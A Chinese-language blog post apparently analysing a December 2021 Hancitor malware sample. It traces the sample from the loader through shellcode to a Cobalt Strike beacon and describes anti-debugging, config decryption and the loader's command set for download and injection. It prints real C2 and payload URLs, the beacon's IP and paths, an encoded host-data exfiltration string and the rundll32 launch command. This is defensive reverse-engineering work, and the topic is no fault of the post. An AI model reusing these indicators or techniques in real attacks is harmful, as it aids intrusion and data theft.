intro
之前看过两个hancitor的样本,但是从现在看来做的都太简单了,而且当时的各方面知识也都不是很完善。于是找了2021.12.26日的样本重新做一次详尽的分析。
如果有错误可以联系我
qq:2466811523
mail: 2466811523@qq.com
静态分析
md5: 9f09b1dd6235c28b091a7dbc9bcd9482
sha1: b7ac19b82e2f946e7cc047421875bbade3e880fd
sha256: 571cba0431acea4739c5248de1b1d33e76e995b3c7454f4d88d2785ade6fdf74Reference:
http://blog.nsfocus.net/beaconeye-cs/
https://www.malware-traffic-analysis.net/2021/12/16/index.html
区块信息
导入函数
kernel32.dll
导入了EnterCriticalSection,DeleteCriticalSection,Exitprocess,WriteFile,猜测存在文件操作行为,反调试行为。
advapi.dll
存在注册表操作函数
沙箱行为分析
网络行为
沙箱中存在网络行为
post
传的数据经过了加密
1 | DATA=R1VJRD0xMDQyMzA1MTAwMTU0MjczNTA4NCZCVUlMRD0xNjEyX21jeHBsa2pnJklORk89ODM1MTgwIEAgREVTS1RPUC03MTZUNzcxXGhhcmR6JkVYVD0mSVA9MTAyLjEyOS4xNDMuNjImVFlQRT0xJldJTj0xMC4wKHg2NCkA |
注册表行为
设置了HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\[ProxyServer/ProxyEnable]
,http启用代理。
1 | 46 00 00 00 04 01 00 00 03 00 00 00 14 00 00 00 65 78 74 72 61 63 74 6F 72 2E 70 72 6F 78 79 3A 38 30 38 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D0 5C 01 4D C1 D5 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
得到的主要信息为我们获得了代理服务器
1 | 65 78 74 72 61 63 74 6F 72 2E 70 72 6F 78 79 3A 38 30 38 30 |
What’s the format of the DefaultConnectionSettings value in the Windows registry?
regsvc32.exe
可疑注册表
1 | HKEY_CURRENT_USER_Classes\dllfile\AutoRegister |
进程行为
1 | %windir%\System32\svchost.exe -k WerSvcGroup |
注册服务
Mutex
1 | Local\WERReportingForProcess2088 |
Decoded Config
{“Campaign Id”: “1612_mcxplkjg”, “C2 list”: [“http://hiltustra.com/9/forum.php", “http://corelince.ru/9/forum.php", “http://mernwel.ru/9/forum.php"]}
from ZenBox
antiDebug
这里还不太清楚为什么这个regsvr32.exe会被识别为anti-debug
函数分析
行为图
反汇编分析
导出函数DllRegisterServer如下
反调试
导出函数的第一个函数为,这里可以看到QueryPerformanceCounter
函数,是用于检测时间的函数
sub_1000786D
函数中调用了SetUnhandledExceptionFilter
函数,一般用于引发异常的反调试,当引发异常后会跳转到TopLevelException
看看TopLevelExceptionFilter,应该是动态解密的数据。
- QueryPerformanceCounter
- IsProcessorFeaturePresent
- SetUnhandledExceptionFilter
https://docs.microsoft.com/en-us/windows/win32/api/profileapi/nf-profileapi-queryperformancecounter
debug
debug DllRegisterServer
在加密数据处打硬件访问断点然后运行后到达如下
这边已经开始对内存地址进行清零了,说明这段数据已经解密成功并存储到内存地址的某处了,我们直接打开内存布局,找到具有执行权限的内存区域
执行完后发现0xf00000(随机生成)区域处内存如下,此时可以dump出我们Stage2 payload
Stage2 Payload
启动方式
向本地发送10个ping数据包,并使用rundll32.exe
执行iff.bin
文件的导出函数WCWGVXGWTDGAWLW
1 | cmd.exe /c ping localhost -n 10 && rundll32.exe iff.bin,WCWGVXGWTDGAWLW |
静态分析
md5: c90ad5fe64f4f02fb1f77005f95161d6
sha1: def89402bbff6a694c0adc82ee0d937f0a02182c
sha256: 19a7b1957104c4c01958ff3be6cc6688c9d34f725180bd4cc7d1373228dfbbc8
导出函数WCWGVXGWTDGAWLW
sub_10001519
mw_sendHostConfigAndRead
首先获取主机的各种信息包括系统、主机名、公网IP、系统位数,然后根据系统位数进行生成配置信息,并准备加密发送给远程主机。
The DsEnumerateDomainTrusts function obtains domain trust data for a specified domain.
关于域信任关系:在同一个域内,成员服务器根据Active Directory中的用户账号,可以很容易地把资源分配给域内的用户.但一个域的作用范围毕竟有限,有些企业会用到多个域,那么在多域环境下,我们该如何进行资源的跨域分配呢?也就是说,我们该如何把A域的资源分配给B域的用户呢?一般来说,我们有两种选择,一种是使用镜像账户.也就是说,我们可以在A域和B域内各自创建一个用户名和口令都完全相同的用户账户,然后在B域把资源分配给这个账户后,A域内的镜像账户就可以访问B域内的资源了
红队通过收集域信任关系从而进行横向移动.通过调用DSEnumerateDomainTrusts() Win32 API,来进行枚举
主机信息会通过base64加密,最后由网络行为发送到远程主机
mw_Internet
mwDecryptReadData
那么我们可以通过这段代码获得什么呢?也就是返回数据的解密方式
首先跳过前四个字节也就是35 30 0d 0a
,然后首先进行base64解密,然后xor解密即可得到payload
我们解密一下malware-traffic中的流量包数据
mw_commandList
看到后面就会发现这几个字符没有参与加密,为传入的命令列表字符串。
mw_judgeCommand
命令
Command Detail b: Download and inject into svchost.exe e: Download and inject into running process l: Download shellcode and inject into svchost.exe or current process r: Download and inject into svchost.exe, check file its downloading n: Do not download (could be utilized as a check to see if victim still active) 但是2021.12.16日这个样本中多了一条命令f
Command Detail b: Download and inject into svchost.exe e: Download and inject into running process l: Download shellcode and inject into svchost.exe or current process r: Download and inject into svchost.exe, check file its downloading n: Do not download (could be utilized as a check to see if victim still active) f: Download the shellcode,infect into the svchost.exe or the running process.(start a thread that inherit the object handle,then inject into the shellcode)
command n
Do not download (could be utilized as a check to see if victim still active)
command b
Download and inject into svchost.exe
- heapAlloc
- getPayload
command e,l
e:Download and inject into running process
l:Download shellcode and inject into svchost.exe or current process
- heapAlloc
- getPayload
command f
HeapAlloc
getPayload
command r
Download and inject into svchost.exe, check file its downloading
HeapAlloc
getPayload
command f
我们看一下这里f传入了HANDLE_FLAG_INHERIT
参数
这意味着会创建一个继承了父进程对象handle的子进程
Value | Meaning |
---|---|
HANDLE_FLAG_INHERIT0x00000001 | If this flag is set, a child process created with the bInheritHandles parameter of CreateProcess set to TRUE will inherit the object handle. |
主要代码逻辑在sub_10002A0B
函数里
首先check一下hProcess也就是HANDLE_FLAG_INHERIT
,该参数默认值为1,如果不存在的话就通过线程的方式启动shellcode,存在的话就以代码注入的方式启动。
这里代码设定死了参数,也就是这里只会以代码注入svchost.exe的方式启动
tips
配置文件仍然使用sha1和rc4加密,前8byte用sha1加密,然后使用rc4解密pbData即可
decrypt
1 | 1612_mcxplkjg...http://hiltustra.com/9/forum.php|http://corelince.ru/9/forum.php|http://mernwel.ru/9/forum.php| |
Stage3 Payload
那么第二阶段的payload也分析完毕了,我们看看第三阶段的payload会执行什么操作呢?首先我们得先提取出第三阶段的payload,上面说到我们已经提取出了流量中我们得到的payload
1 | {f:http://sineko7.ru/37s.bin}{f:http://sineko7.ru/37.bin} |
然后shellcode加载可以断到InternetConnectA
函数,C2的Ip地址为104.128.232.37
这段shellcode的伪代码,是Metasploit的动态函数的混淆方式,利用hashdb恢复函数逻辑
然后shellcode的代码逻辑如下
通过HttpRequestA
访问104.128.232.37/bfGM
HttpSendRequestA
发送请求,然后如果请求成功后会用InternetReadFile
去读取下一阶段的payload
然后会发现shellcode大部分相同,只是访问的URL修改为了/TdSQ.
Stage4 Payload
经调试发现如下代码动调解密了后面的代码
执行完后会发现Dos Stub头,我们可以dump出PE文件
Stage5 Payload
函数入口位于导出函数ReflectiveLoader
,是beacon.dll的导出函数
用PE-bear打开发现确实是beacon.dll
由于beacon对配置的异或密钥是固定的,我们可以直接通过cyberchef对beacon提取c2(3.x版本的CobaltStrike默认是0x69,对4.x版本的CobalStrike默认是0x2e)
利用脚本提取config,虽然这里显示有已知的私钥,但经过尝试发现无法解密cs流量的cookie。猜测私钥错误。由于私钥没有泄漏导致cookie和后面的命令无法解密。
1 | File: loader_009E0000.bin |
Author: scr1pt